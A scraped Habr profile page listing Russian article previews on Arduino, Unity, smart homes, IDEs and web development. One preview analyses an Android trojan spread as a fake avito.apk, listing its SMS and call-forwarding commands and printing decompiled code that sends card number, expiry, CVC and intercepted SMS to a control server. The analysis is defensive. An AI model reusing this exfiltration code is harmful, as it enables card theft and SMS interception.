Pull to refresh
0
0
Send message

Arduino&Oregon или погодная станция своими руками

Reading time4 min
Views133K
Не так давно ко мне в руки попал набор юного радиолюбителя Arduino и много разных проектов получили путевку в жизнь (или «в стол»), но дурная голова рукам покоя не дает до сих пор.
Благодаря удачному стечению обстоятельств случилось так, что в одном месте оказались:
  • Arduino — 1 шт.
  • Датчик для измерения температуры и влажности Oregon THGN132N — 2 шт.
  • RF-kit (приемник и передатчик) на 433МГц — 1 шт.

Дополнительно к вышеперечисленному (исключительно для быстрого прототипирования) использовался Starter Kit от Seeed Studio (из него понадобился base shield, дисплей 16х2 с последовательным интерфейсом, модуль светодиода и соединительные кабели).
Что же получилось?
Total votes 30: ↑24 and ↓6+18
Comments30

Про создание платформера на Unity. Часть вторая, звездная

Reading time4 min
Views101K
Привет, Хабр!

Я, как и обещал, продолжаю делиться с вами знаниями, приобретенными в процессе освоения 2D-режима Unity. От начинающего, так сказать, начинающим. Систематизирую, улучшаю и прогрессирую вместе с вами. Сегодня мы добавим к содержимому первой статьи управление камерой, сбор бонусов и первый способ умереть в игре. Если вам, как и мне, не терпится приступить, то добро пожаловать под кат.

И да, гифок там еще больше, чем в прошлый раз.



Читать дальше →
Total votes 57: ↑49 and ↓8+41
Comments16

Глобальное обновление интерфейса Skype для Windows Desktop

Reading time1 min
Views76K
В Microsoft идет подготовка к выпуску обновления с новым UI. Обновленный интерфейс сочетает в себе классические элементы и современный ModernUI-дизайн. Список обновлений еще не опубликован, но «прогресс» на лицо.

В целом заметно:
1) Уменьшение полезной области на левой панели за счет огромного блока с 2 кнопками.
2) Улучшена верстка текста, стало проще различать кто конкретно написал в чате.
3) Улучшено редактирование сообщений, теперь редактируемое сообщение подсвечивается.
4) Невозможно переименовать чат локально, меняется заголовок у всех.
5) Изображения автоматически загружаются и отображаются в чате.

Загрузить и установить Skype 6.20.64.104, пока еще недоступный в виде обязательного обновления, можно по ссылке.

Отключить автообновление можно в меню Инструменты -> Настройки-> Дополнительно -> «Автоматическое обновление», но это спасет от обновления лишь на некоторое время.


К комментариям
Total votes 61: ↑52 and ↓9+43
Comments167

Consulo — IDE где Java и C# живут вместе

Reading time3 min
Views52K
Здравствуйте. Прошло много времени после моих постов на хабре (тык, тык) на тему Consulo. Ниже расскажу, что изменилось за это время.

Для тех, кто пропустил мои посты:
Consulo — это форк IntelliJ IDEA Community Edition, который имеет поддержку .NET(C# на текущий момент), Java, Javascript(NodeJS), и многое другое. Проект собрал множество открытых плагинов в себе. При этом код остался открытым.



Читать дальше →
Total votes 127: ↑124 and ↓3+121
Comments50

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Total votes 368: ↑362 and ↓6+356
Comments143

Локальная сеть между домами с помощью WiFI моста

Reading time4 min
Views53K
Появилась необходимость сделать локальную сеть между двумя узлами, удаленными друг от друга на расстоянии 1.15 км. По скольку есть опыт оказания помощи другу и подключения его частного дома к FTTB сети соседней многоэтажки через роутеры производства Mikrotik, было решено на них и реализовать подключение. Выбор пал на RouterBOARD SXT Lite5 (прошу не считать за рекламу, но это лучший выбор за эту цену).

Характеристики и процесс монтажа, в т.ч. видео можно найти на сайте Mikrotik или дилеров по России. Пока что собран тестовый стенд. Параметры стенда- расстояние между точками 1.15 км по Яндекс картам. Одна точка установлена на балконе 8 этажа, вторая в квартире, расположенной так же 8 этаже, установлены на штативы для фото оборудования.
Схема, данные и настройки
Total votes 32: ↑32 and ↓0+32
Comments37

Проектирование интернет-магазина: личный кабинет, корзина, доставка-оплата, рассылка и другое

Reading time16 min
Views147K
Очередная статья большого обзора функционала интернет-магазинов. Сегодня я расскажу про личный кабинет, избранное, интеграцию с социальными сетями, корзину, доставку-оплату, рассылку и уведомления. Всего, вместе с этой частью статьи, я рассмотрел около 50 модулей современных интернет-магазинов.

Прошлые статьи серии можно найти тут:


«Серьезное проектирование серьезного магазина. Часть 1. Исследования»
«Серьезное проектирование серьезного магазина. Часть 2. Модули интернет-магазина»
«Серьезное проектирование серьезного магазина. Часть 3. Карточка товара и не только»
«Серьезное проектирование серьезного магазина. Часть 4. Субституты, комплементы, сравнение и другие инструменты увеличения конверсии»

Регистрация / личный кабинет


Для любого интернет-магазина важно, чтобы пользователи регистрировались на сайте и оставляли о себе много информации. Это позволяет увеличить средний чек и сильно повышает шансы интернет-магазина превратить разового покупателя в постоянного.

Сама регистрация должна быть очень простой, чтобы не стать барьером для пользователя, а интернет-магазин должен стимулировать пользователей зарегистрироваться. Некоторые крупные интернет-магазины запрещают совершать покупки незарегистрированным пользователям – это довольно спорный способ заставить зарегистрироваться, но он показывает важность регистрации на сайте. Мотивация зарегистрироваться может быть самой разной: специальная скидка для зарегистрированных пользователей, доступ к любым акциям только для зарегистрированных, особые условия зарегистрированным и т.д.

Рис. 1. Личный кабинет.

image

Читать дальше →
Total votes 32: ↑28 and ↓4+24
Comments22

OpenHAB — стань программистом собственного жилища

Reading time9 min
Views198K
image
Дом — это машина для жилья
Ле Корбюзье

В этом посте я расскажу об opensource проекте домашней автоматизации openHAB.
openHAB переводится как "Open Home Automation Bus". Это значит, что он нацелен на создание универсальной платформы для объединения всей домашней «умной» техники в единую систему управления.

Что же это дает на практике? Под катом я расскажу о том, как с помощью этого решения можно создать настоящий интернет вещей в своем доме.

Читать дальше →
Total votes 60: ↑57 and ↓3+54
Comments96

Никогда не «не делай» того, о чем пожалеешь или умный дом с CCU.IO

Reading time12 min
Views119K
На хабре последнее время появляется много статей об автоматизации дома. Какие-то статьи с пространными размышлениями на тему умного дома, не несущие полезной нагрузки. Какие-то с конкретной реализацией на конкретном проприетарном железе, но им не хватает чего то для того, что бы быть установленными или запущенными в другом доме.

Хочу представить программную платформу автоматизации для дома на базе Node.js, которую можно скачать со всеми исходниками и установить прямо сейчас практически одним кликом (Windows) или одной командой (Linux/Debian).


Подробности
Total votes 84: ↑81 and ↓3+78
Comments88

Проектировние интернет-магазина: субституты, комплементы, сравнение и другие инструменты увеличения конверсии

Reading time18 min
Views21K
Новая статья по проектированию интернет-магазинов, на этот раз описана механика ряда блоков, которые увеличивают конверсию. В этой части мы расскажем про субституты, комплементы, сравнение и другие инструменты увеличения конверсии. В прошлый раз мы осветили несколько десятков функциональных блоков магазинов: «Проектирование интернет-магазина: исследования», «Проектирование интернет-магазина: модули интернет-магазина» и «Проектирование интернет-магазина: карточка товара и не только» эта статья логическое продолжение.

image

Читать дальше →
Total votes 36: ↑27 and ↓9+18
Comments14

RESTful API на Yii framework с RBAC и тестами

Reading time19 min
Views29K
Существует множество готовых решений для реализации RESTFul API на Yii framework, но при использовании этих решений в реальных проектах понимаешь что все красиво выглядит только на примерах с собачками и их хозяевами.

Возможно, за время подготовки и написания статьи она немного потеряла актуальность с выходом Yii2 со встроенным фреймворком для создания RESTful API. Но статья по прежнему будет полезна для тех, кто пока не знаком с Yii2, или для тех, кому необходимо быстро и просто реализовать полноценное API для уже существующего приложения.

Для начала приведу список некоторых возможностей, которых мне очень не хватало для полноценной работой с серверным API при использовании существующих расширений:

  1. Одна из первых проблем с которой я столкнулся — сохранение различных сущностей в одной таблице. Для получения таких записей уже не достаточно просто указать имя модели как это предлагается, например тут. Один из примеров такого механизма — таблица AuthItems, которая используется фреймворком в механизме RBAC (если кто-то не знаком с ним — есть замечательная статья на эту тему). В ней содержатся роли, операции и задачи которые определяются флагом type, и для работы с этими сущностями через API мне хотелось использовать url не такого типа:
    GET: /api/authitems/?type=0 - получение списка операций
    GET: /api/authitems/?type=1 - получение списка задач
    GET: /api/authitems/?type=2 - получение списка ролей

    а такого:
    GET: /api/operations - получение списка операций
    GET: /api/tasks - получение списка задач
    GET: /api/roles - получение списка ролей

    Согласитесь, второй вариант выглядит очевиднее и понятнее, тем более для человека не знакомого с фрейморком и устройством RBAC в нем.
  2. Вторая немаловажная возможность — механизм поиска и фильтрации данных, с возможностью задавать условия и комбинировать правила. Например, мне хотелось иметь возможность выполнить аналог такого запроса:
    SELECT * FROM users WHERE (age>25 AND first_name LIKE '%alex%') OR (last_name='shepard');
    

  3. Порой не хватает возможности создания, обновления, удаления коллекций. Т.е. изменение n-ого количества записей одним запросом опять же используя поиск и фильтрацию. Например, зачастую требуется удалить или обновить все записи, попадающие под какое-либо условие, а использовать отдельные запросы слишком накладно.
  4. Еще одним важным моментом была возможность получать связанные данные. Например: получить данные роли вместе со всеми её задачами и операциями.
  5. Конечно невозможно хоть сколько-нибудь комфортно работать с API не имея возможности ограничить количество получаемых записей (limit), сместить начало выборки (offset), и указать порядок сортировки записей (order by). Так же не плохо бы иметь возможность группировки (group by).
  6. Важно иметь возможность для каждой из операций проверять права пользователя (метод checkAccess все в том же RBAC).
  7. Ну и наконец, все это дело нужно как-то тестировать.

В результате анализа примерно такого списка «хотелок» и появился на свет мой вариант реализации API на этом замечательном фреймворке!
Читать дальше →
Total votes 25: ↑20 and ↓5+15
Comments18

Пишем свой пакет для Chocolatey

Reading time6 min
Views18K


Chocolatey — пакетный менеджер для windows сильно облегчающий процедуру установки программ, а уж сколько он экономит времени. Про это чудо уже писали на хабре и даже было показано как написать свой пакет для него, но там было больше ручной работы, я же хочу показать как можно немного упростить это дело.
Читать дальше →
Total votes 14: ↑11 and ↓3+8
Comments4

Профайлер для Entity Framework

Reading time22 min
Views25K


Приветствую!

Продолжу серию статей про программирование. На этот раз, я хочу рассказать о написанном мной бесплатном профайлере для Entity Framework-а ( далее EF) c 4-й по 6-ю версию, а также о некоторых примененных мной решениях, таких как декомпилирование .NET кода на лету, форма для обработки исключений и прочее.
Nuget пакет для EF6: https://www.nuget.org/packages/EFlogger-For6/
Nuget пакет для EF4 — 5: https://www.nuget.org/packages/EFlogger-For4/

Подробности под катом.
Читать дальше →
Total votes 37: ↑36 and ↓1+35
Comments13

Делаем управление «Умным домом» через интернет за пару минут

Reading time10 min
Views154K
Доброго дня. У многих из нас, в том числе и у меня, давно возникла идея создания своего «Умного дома». Но она откладывалась в виду большой сложности реализации как с аппаратной стороны так и со стороны программного обеспечения, что требовало от её создателя быть «гуру» во многих областях.

image

В этой статье я расскажу вам об очень простом и вполне функциональном способе управления системой умного дома через интернет. На её создание при наличии необходимых компонентов уйдет всего несколько минут.

Заинтригованы? Прошу под кат.
Читать дальше →
Total votes 33: ↑28 and ↓5+23
Comments31

Подборка полезного для любителей Twitter Bootstrap

Reading time1 min
Views83K
В подборке инструменты, плагины и другие полезности, облегчающие работу с Twitter Bootstrap. Предыдущая подборка.

Инструменты




Bootstraptor — подборка большого количества бесплатных и премиум тем, в том числе Starter Kit, на основе Bootstrap.
Читать дальше →
Total votes 109: ↑96 and ↓13+83
Comments21

Базовые темы популярных CMS на Twitter Bootstrap

Reading time1 min
Views47K
Все мы любим популярный CSS-фреймворк Twitter Bootstrap, облегчающий разработку. За год существования многие CMS обзавелись базовыми темами на основе Bootstrap. Представляю вашему вниманию подборку таких шаблонов.

Wordpress


BootstrapWP


Читать дальше →
Total votes 42: ↑35 and ↓7+28
Comments14

Авторизация через fancybox в yii

Reading time4 min
Views6.5K
Статья о том, как прикрутить fancybox-авторизацию к проекту на yii в кодировке win-1251. Если вы оказались более счастливым разработчиком, и ваш проект в utf, можете просто пропускать пункты, относящиеся к encoding hell, остальное все так же. Хотя, возможно тогда вам и не понадобится эта статья.

В статье предполагается, что все классы, отвечающие за авторизацию пользователей, у вас уже есть, и нужно только заставить их работать через fancybox.

Читать дальше →
Total votes 17: ↑8 and ↓9-1
Comments8

Организация js кода для джуниоров

Reading time4 min
Views72K
С недавних пор я стал работать в сфере web разработки, и еще нахожусь в стадии падавана. Однако недавно я открыл для себя способ организации клиентского javascript кода, который может быть легко интегрирован в любой существующий проект и который легко освоить.

Этот подход называют «Модульный javascript», и под катом мы научимся его применять.

image
Читать дальше →
Total votes 72: ↑48 and ↓24+24
Comments41

Панель управления умным домом. iPhone в стене

Reading time6 min
Views55K


Автоматизировать свой дом я начал года 2 назад, в основном используя беспроводную технологию Z-Wave, но и ради фана собрал несколько устройств самостоятельно на микроконтролле ATtiny2313 и Raspberry Pi. Когда я принял решение, что буду делать умный дом, я поставил три задачи, которые умный дом должен был решать, первая — экономия электроэнергии, вторая — обеспечение комфорта, третья — отображение информации о сотоянии дома в реальном времени.

На данный момент удалось реализовать следующее:

Но третья задача по отображению информации была решена не полностью. На кухне и в комнате у меня стоят метеостанции показывающие температуру и влажность, чтобы посмотреть где горит свет, нужно открывать приложение на iPad, чтобы узнать пробки, нужно открывать другое приложение. Всей этой информацией я пользуюсь каждый день, и логично было бы получать её из одного места, поэтому я решил сделать информационную панели установленную стационарно в удобном месте.
Читать дальше →
Total votes 53: ↑50 and ↓3+47
Comments55

Information

Rating
Does not participate
Registered
Activity